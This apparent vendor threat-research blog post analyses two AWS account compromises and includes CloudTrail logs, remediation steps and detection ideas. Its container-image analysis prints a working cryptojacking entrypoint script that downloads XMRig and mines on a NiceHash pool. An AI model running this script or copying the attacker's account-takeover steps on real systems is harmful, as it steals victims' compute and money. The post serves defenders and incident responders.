Tales from the cloud trenches: Amazon ECS is the new EC2 for crypto mining

In a previous post, we covered common attacker behavior that we've witnessed in the wild across a number of AWS environments. Today, we report on attacker techniques that we've noticed from a cluster of malicious IP addresses originating from Indonesia, and affecting several environments.

Key points and observations

• In this post, we explore attacker techniques in AWS that we've witnessed in December 2023 and January 2024, targeting AWS accounts and most of the time caused by a leaked IAM user access key.
• In one case, an attacker enumerated the account, created additional IAM users that they used to authenticate through the AWS Console, attempted to move laterally using EC2 Instance Connect, and tried to start EC2 instances in an unused region.
• In another case, an attacker created a high number of ECS on Fargate clusters, and executed a large number of malicious containers for crypto mining purposes.
• We've witnessed both automated and "hands-on-keyboard" human activity.
• Most of the IP addresses observed had a history of residential proxy activity, most likely to evade traditional deny-list IP threat intelligence defenses.

First observed attacker activity: Data exfiltration from S3 and attempted lateral movement through EC2 Instance Connect

The first attacker started by enumerating SES quotas and identities (useful for sending spam) and IAM users in the account, then created a new administrator IAM user with a console profile. This initial activity is likely to have been automated and occurred within a time window of 11 seconds.

Hands-on-keyboard activity begins

A few hours later, hands-on-keyboard activity started, and the attacker manually logged in to the AWS Console using the newly created user.

{
  "eventType": "AwsConsoleSignIn",
  "eventSource": "signin.amazonaws.com",
  "eventName": "ConsoleLogin",
  "responseElements": {
    "ConsoleLogin": "Success"
  },
  "userIdentity": {
    "session_name": "aws_dev[random_digits]",
    "type": "IAMUser",
    "arn": "arn:aws:iam::012345678901:user/aws_dev[random_digits]",
    "userName": "aws_dev[random_digits]"
  }
}

From there, they used the console to enumerate a number of elements such as EC2 instances running in the account, volumes, security groups, and load balancers. They also leveraged the AWS Resource Explorer to list resources:

{
  "eventSource": "resource-explorer-2.amazonaws.com",
  "eventName": "Search",
  "requestParameters": {
    "QueryString": "***"
  }
}

Then, still from the AWS Console, the attacker attempted to access several EC2 instances through EC2 Instance Connect, a service built into Amazon Linux and Ubuntu AMIs that allows developers to dynamically provision SSH on EC2 instances.

{
  "eventSource": "ec2-instance-connect.amazonaws.com",
  "eventName": "SendSSHPublicKey",
  "requestParameters": {
    "instanceId": "i-123456",
    "instanceOSUser": "ec2-user",
    "sSHPublicKey": "ssh-ed25519 [AWS autogenerated key]\n"
  }
}

If the instances had been available from the internet, this would have allowed the attacker to access them and subsequently steal credentials bound to their instance role.

S3 enumeration and exfiltration

Still using the AWS Console, the attacker manually clicked on several S3 buckets to view objects inside them, browsed their directory tree, and downloaded files, generating ListObjects / HeadObject / GetObject events as they went.

Attempt to run r6i.metal EC2 instances in an unused region

As a next step, the attacker attempted to run EC2 instances in an unused region, us-west-1. For this purpose, they used the AWS API credentials of the initially compromised user.

{
  "eventSource": "ec2.amazonaws.com",
  "eventName": "RunInstances",
  "requestParameters": {
    "instancesSet": {
      "items": [{
          "imageId": "[redacted]",
          "keyName": "[redacted]",
          "minCount": 2,
          "maxCount": 2
      }]
    },
    "instanceType": "r6i.metal",
    "groupSet": {
      "items": [{
        "groupName": "[redacted]"
      }]
    }
  },
  "error": {
    "kind": "Client.PendingVerification",
    "message": "Your request for accessing resources in this region is being validated, and you will not be able to launch additional resources in this region until the validation is complete. We will notify you by email once your request has been validated. While normally resolved within minutes, please allow up to 4 hours for this process to complete. If the issue still persists, then open a support case. [https://support.console.aws.amazon.com/support/home?region=us-east-1#/case/create?issueType=customer-service&serviceCode=account-management&categoryCode=account-verification]"
  }
}

As the error message indicates, this attempt failed, most likely due to AWS flagging the activity as suspicious.

Additional persistence

Finally, the attacker created two additional administrator IAM users, along with a login profile and an access key. These IAM users were named after the pattern aws-cli[random_string].

Summary of attacker activity

MITRE ATT&CK mappings:

Second observed attacker activity: Infrastructure-heavy crypto mining on ECS

In the second observed attacker activity, the threat actor did not bother to enumerate anything, be it the identity they compromised or their permissions. Instead, they started creating malicious infrastructure on the spot.

Bring your own ECS cluster

Contrasting with the previous activity, this time the threat actor created a large number of resources right away. In less than two minutes, they:

• Created multiple ECS Fargate clusters with randomized names
• Ran malicious containers in these clusters, by creating ECS task definitions
• Scaled each task definition using an ECS service, to ensure that each task definition runs 25 tasks
• Repeated the same process in no fewer than 17 regions

Overall, we believe that the attacker successfully created hundreds of ECS Fargate clusters and ECS tasks, based on 40 container images hosted on the Docker Hub (see full list in the annex). This means the attacker was likely able to successfully deploy thousands of malicious running containers.

{
  "eventSource": "ecs.amazonaws.com",
  "eventName": "CreateCluster",
  "requestParameters": {
    "clusterName": "[random string]"
  },
  "responseElements": {
    "cluster": {
      "pendingTasksCount": 0,
      "clusterArn": "arn:aws:ecs:us-east-1:012345678901:cluster/[random string]",
      "activeServicesCount": 0,
      "runningTasksCount": 0,
      "clusterName": "[random string]",
      "registeredContainerInstancesCount": 0,
      "status": "ACTIVE"
    },
    "clusterCount": 0
  }
}

{
  "eventSource": "ecs.amazonaws.com",
  "eventName": "RegisterTaskDefinition",
  "requestParameters": {
    "networkMode": "awsvpc",
    "memory": "32768",
    "cpu": "16384",
    "family": "[random string]",
    "requiresCompatibilities": ["FARGATE"],
    "containerDefinitions": [{
        "image": "yzsqbe/ka:si",
        "name": "[random string]",
        "cpu": 0
    }]
  }
}

{
  "eventSource": "ecs.amazonaws.com",
  "eventName": "CreateService",
  "requestParameters": {
    "cluster": "[random string]",
    "serviceName": "[random string]-service",
    "networkConfiguration": {
      "awsvpcConfiguration": {
        "assignPublicIp": "ENABLED",
        "subnets": ["..."]
      }
    },
    "desiredCount": 25,
    "taskDefinition": "[random string]"
  }
}

Analyzing the malicious container images

All the Docker Hub users hosting malicious images were registered on October 18, 2023 around 10:00 a.m. UTC, and the malicious images were uploaded either on October 24, 2023 or November 16, 2023. Most of them had between 20,000 and 100,000 pulls, and those numbers keep going up. These two elements seem to indicate that this is a recent and active campaign.

The Docker images themselves are all very similar to each other and contain an entrypoint, /run.sh, that downloads XMRig and starts mining cryptocurrency:

APP=app$(shuf -i 1000000-9999999 -n 1)
wget -q https://github.com/xmrig/xmrig/releases/download/v6.14.1/xmrig-6.14.1-linux-x64.tar.gz
tar -zxf xmrig-6.14.1-linux-x64.tar.gz
cd xmrig-6.14.1
mv xmrig $APP
chmod +x $APP
./$APP -a rx/0 -o stratum+tcp://randomxmonero.auto.nicehash.com:9200 -p x -t $(nproc --all) -u [bitcoin address]

Only the target cryptocurrency address, at the end, changes across images. Using an utility like dive or crane, we can see that these images are built from a Dockerfile that explicitly sets a time zone in the container, hinting towards the geographic location the threat actors operate from:

ENV TZ=Europe/Moscow

We have investigated the available bitcoin (BTC) addresses from the docker images—As of January 19, 2024, they are reporting 0.00BTC. This was surprising based on the number of image pulls we saw, and we can only guess that the attackers have not had a long enough window of compromise to generate the minimum payout threshold set by nicehash (0.001BTC) when you mine to an external wallet.

Summary of attacker activity

MITRE ATT&CK mappings:

Remediating the attack

Note: Remediating attacker activity is always highly dependent on the environment—teams typically build playbooks iteratively. The advice we offer below may not be comprehensive.

First, we have to understand the full extent of the compromise. For this goal, having access to and knowledge of the environment is of paramount importance. For instance, knowing if the EC2 instances targeted by the ec2-instance-connect:SendSSHPublicKey call were accessible from the internet is necessary to determine if they were compromised as well. Similarly, we need to know if all S3 buckets in the account have S3 Data Events enabled to identify what data was downloaded.

Then, once we understand the full scope and impact of the attack, we can remove the malicious and compromised IAM users to cut off attacker access to our environment. This is typically done by removing malicious IAM users and compromised access keys. AWS also has a playbook available.

After that, we need to get rid of the malicious infrastructure. Once this is done, we can use the AWS Resource Explorer to confirm that no unexpected ECS cluster remains, across all regions:

aws resource-explorer-2 search --query-string 'resourcetype:ecs:cluster'

Finally, the root cause analysis should trigger an action item to avoid using IAM users with static credentials, and instead to use role assumptions or OpenID Connect keyless authentication when possible.

Detection opportunities

Below, we share some ideas of threat detection rules that you can implement to identify similar activity.

• Identify spikes in API calls that create infrastructure, such as ecs:CreateCluster or ec2:RunInstances, especially in previously unused AWS regions.
• Monitor or disable the creation of new IAM users and the attachment of administrative privileges to them.
• Monitor suspicious sequences of API calls frequently used by attackers to gain access to or spin up infrastructure, such as ec2:ImportKeyPair, ec2:CreateSecurityGroup, or ec2:AuthorizeSecurityGroupIngress.
• Monitor images deployed to ECS clusters, through the field requestParameters.containerDefinitions.image of the ecs:RegisterTaskDefinition CloudTrail event. Note that it's not currently possible to enforce image signature or an allow-list of repositories in ECS clusters.
• Monitor usage and spikes in cloud costs. Spiking costs for an unused cloud service or region can often be a strong indicator of malicious activity.

How Datadog can help

Datadog Cloud SIEM comes with the following out-of-the-box rules to identify related suspicious activity in an AWS environment.

• AWS IAM User created with AdministratorAccess policy attached
• Possible privilege escalation via AWS login profile manipulation
• Compromised AWS IAM User Access Key
• AWS console login without MFA
• Potential administrative port open to the world via AWS security group
• Security group open to the world
• AWS security group created, modified or deleted
• AWS IAM AdministratorAccess policy was applied to a user
• New Amazon EC2 Instance type

The Cloud SIEM Investigator allows you to visually investigate CloudTrail logs and follow the trail of an attacker so you can respond in graphs versus lists.

Conclusion

Based on our analysis of this activity, there appears to be an increase in the targeting of the AWS ECS service by financially motivated attackers with the intent of mining cryptocurrency, possibly due to the ease of deployment or to evade detections in EC2. We think this warrants a closer look by detection and response teams so they can better prepare to respond to these types of attacks in the future.

Indicators of compromise